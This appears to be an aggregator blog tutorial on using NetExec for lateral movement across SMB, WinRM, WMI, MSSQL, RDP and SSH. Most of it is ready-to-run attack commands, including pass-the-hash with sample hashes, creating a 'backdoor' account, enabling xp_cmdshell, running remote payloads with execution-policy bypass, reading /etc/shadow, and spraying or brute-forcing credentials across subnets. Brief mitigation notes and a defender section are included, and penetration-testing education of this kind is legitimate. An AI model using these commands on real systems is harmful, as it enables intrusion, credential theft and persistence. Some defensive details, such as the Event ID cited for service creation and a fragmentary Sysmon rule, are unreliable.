Listen to this Post
Introduction:
NetExec (formerly CrackMapExec) is a post‑exploitation Swiss Army knife that enables penetration testers and red teamers to execute commands remotely across multiple protocols in a unified, lightning‑fast interface. By supporting SMB, WinRM, WMI, MSSQL, RDP, and SSH, NetExec transforms lateral movement from a tedious manual process into an automated, scriptable operation that can compromise entire networks within minutes.
Learning Objectives:
- Execute remote commands using Pass‑the‑Hash (PtH) and Pass‑the‑Certificate on SMB and WinRM protocols.
- Leverage MSSQL’s `xp_cmdshell` and WMI for stealthy command execution without leaving obvious traces.
- Automate lateral movement, credential spraying, and post‑exploitation tasks with NetExec’s modular architecture and custom scripts.
You Should Know:
1. SMB Command Execution with Pass‑the‑Hash (PtH)
NetExec’s SMB module (port 445) is the workhorse for Windows lateral movement. It supports Pass‑the‑Hash, allowing attackers to authenticate using only the NTLM hash without the plaintext password.
Step‑by‑step guide:
- Install NetExec (Linux):
sudo apt install pipx pipx install git+https://github.com/Pennyw0rth/NetExec nxc --help
- Dump hashes from a compromised host (using `secretsdump.py` from Impacket):
impacket-secretsdump domain/user@target -just-dc
- Execute a command via SMB:
nxc smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 -x "whoami && hostname"
- Use a list of targets and credentials:
nxc smb targets.txt -u users.txt -H hashes.txt -x "net user backdoor /add"
What it does: The tool attempts SMB authentication with the supplied hash; on success, it creates a service (by default
JtjWGJkR) to run the command and retrieves the output. For defenders, monitor Event ID 4698 (scheduled task creation) and 5145 (SMB share access).
2. WinRM Over HTTP/HTTPS with Certificates
WinRM (port 5985/5986) is often less monitored than SMB and supports both plaintext authentication and certificate‑based login – a favorite for advanced red teams.
Step‑by‑step guide:
- Execute PowerShell commands using PtH:
nxc winrm 10.0.0.5 -u admin -H <NTLM hash> -x "Get-Service -Name spool"
- Pass‑the‑Certificate (extract from a compromised host):
Export cert from Windows store (PowerShell) Get-ChildItem Cert:\CurrentUser\My | Export-PfxCertificate -FilePath cert.pfx -Password (ConvertTo-SecureString -String "pass" -Force -AsPlainText) Use with NetExec nxc winrm 10.0.0.5 -u admin --cert-file cert.pfx --cert-pass pass -x "whoami /priv"
- Enable WinRM over HTTP on target (if disabled, requires admin):
Enable-PSRemoting -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value ""
Mitigation: Enforce WinRM over HTTPS only, restrict
TrustedHosts, and monitor Event ID 142 (WinRM authentication).
3. WMI Execution – Stealthy Lateral Movement
WMI (port 135, plus dynamic high ports) uses DCOM/RPC and is notoriously difficult to filter because it blends with legitimate management traffic.
Step‑by‑step guide:
- Basic command execution:
nxc wmi 192.168.1.100 -u jdoe -p 'Fall2025!' -x "ipconfig /all"
- Run a script from a remote share (minimises disk writes):
nxc wmi 192.168.1.100 -u admin -p password -x "powershell -exec bypass -file \webdav\payload.ps1"
- Spray credentials across a subnet:
nxc wmi 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success -x "whoami"
What defenders should know: WMI activity generates Event ID 5857 (errors) and 5861 (provider loads). Enable WMI‑Audit via
auditpol /set /subcategory:"WMIActivity" /success:enable.
4. MSSQL: xp_cmdshell and Custom Queries
Database servers are prime targets – NetExec can enable `xp_cmdshell` (if not already active) and execute OS commands directly through SQL Server (port 1433).
Step‑by‑step guide:
- Check access and run a command:
nxc mssql 10.10.10.50 -u sa -p 'MyStrongP@ss' -x "whoami"
- Enable `xp_cmdshell` if disabled:
nxc mssql 10.10.10.50 -u sa -p password -q "EXEC sp_configure 'show advanced options', 1; reconfigure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure;"
- Harvest database content:
nxc mssql 10.10.10.50 -u db_user -p pass -q "SELECT name FROM sys.databases"
- Use pass‑the‑hash against MSSQL (when NTLM is enabled):
nxc mssql 10.10.10.50 -u sa -H <hash> -x "dir c:\"
Mitigation: Disable `xp_cmdshell` unless absolutely required, use Windows authentication only, and monitor for event ID 33205 (SQL Server audit).
- RDP for Full Desktop Access (Credential Testing & Hijacking)
While NetExec’s RDP module does not execute commands directly, it validates credentials and checks for session hijacking opportunities. Combine it with `xfreerdp` or `rdesktop` for full interactive access.
Step‑by‑step guide:
- Test RDP credentials:
nxc rdp 192.168.1.200 -u user -p password
- Check if RDP is enabled and list sessions:
nxc rdp 192.168.1.200 -u admin -p pass -M rdp-sessions
- Hijack an existing session (after NetExec validation, use
xfreerdp):xfreerdp /v:192.168.1.200 /u:admin /p:pass /dynamic-resolution +compression +fonts +clipboard /network:auto
- Shadow another user’s session (Windows Server):
mstsc /shadow:2 /control from a CMD after RDP login
Defense: Enable Network Level Authentication (NLA), restrict RDP to specific jump hosts, and monitor Event ID 1149 (RDP authentication).
6. SSH for Linux Lateral Movement
NetExec’s SSH module turns the tool into a cross‑platform lateral mover – perfect for mixed environments.
Step‑by‑step guide:
- Execute a command via password:
nxc ssh 10.0.0.77 -u root -p 'linux123' -x "id && uname -a"
- Use an SSH key:
nxc ssh 10.0.0.77 -u ubuntu --key-file ~/.ssh/id_rsa -x "cat /etc/shadow"
- Automate privilege escalation checks:
nxc ssh targets.txt -u user -p pass -x "sudo -l" --sudo
- Brute‑force SSH credentials (be careful – very noisy):
nxc ssh 10.0.0.0/24 -u root -p passwords.txt --continue-on-success
Mitigation: Use key‑only authentication with strong passphrases, disable root login, and deploy fail2ban to block rapid connection attempts.
7. Detection & Hardening Against NetExec (For Defenders)
Blue teams can spot NetExec’s TTPs using proper logging and proactive hardening.
Step‑by‑step guide for defenders:
- Enable PowerShell logging (Group Policy):
`Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging`
– Monitor critical Event IDs on Windows: - 4648 (logon with explicit credentials)
- 4624 (successful logon – look for Logon Type 3, 10)
- 5140 (SMB share access)
- 4103 (PowerShell execution)
- Use Sysmon to detect service creation:
<EventFiltering> <Rule name="NetExec Service" groupRelation="or"> <TargetImage condition="contains">cmd.exe</TargetImage> <TargetImage condition="contains">powershell.exe</TargetImage> </Rule> </EventFiltering>
- Linux detection (auditd):
sudo auditctl -w /usr/bin/ssh -p x -k ssh_exec ausearch -k ssh_exec | grep "nxc"
- Hardening commands (disable SMBv1, force SMB signing):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
What Undercode Say:
- Key Takeaway 1: NetExec transforms fragmented lateral movement techniques into a single, efficient framework. Its support for PtH across SMB, WinRM, and MSSQL makes hash theft the single most critical credential threat in Windows domains.
- Key Takeaway 2: Defenders must shift from perimeter‑centric controls to internal detection. Monitoring service creation (Event ID 4698), WMI activity, and PowerShell logs is non‑negotiable; NetExec’s speed demands automated response, not manual review.
NetExec is not a new concept – CrackMapExec pioneered this approach years ago – but its active development and expanded protocol support (SSH, RDP, MSSQL) make it more dangerous than ever. Red teams love it because it “just works” with dumped hashes, while blue teams often remain blind because they still rely on antivirus or SIEM rules focused on rare ports. The real story is that lateral movement has become commoditised: any attacker with one compromised account or hash can execute commands across thousands of hosts in seconds. The only reliable mitigations are privileged access workstations (PAWs), Credential Guard, and network micro‑segmentation. Expect to see NetExec integrated into C2 frameworks as a native module within the next 12 months, further lowering the barrier for entry‑level adversaries.
Prediction:
As NetExec continues to add support for cloud APIs (Azure, AWS SSM) and container orchestration (Kubernetes exec), the tool will evolve from a “post‑exploitation” utility into a full “cross‑platform lateral movement standard”. This will force Microsoft and Linux vendors to implement per‑protocol jitter and anomaly detection directly into the OS kernel – because signature‑based detection will be dead. Organisations that fail to adopt zero‑trust authentication (e.g., device certificates, just‑in‑time access) will experience breach times measured in minutes, not hours.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Anmoldev Netexec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
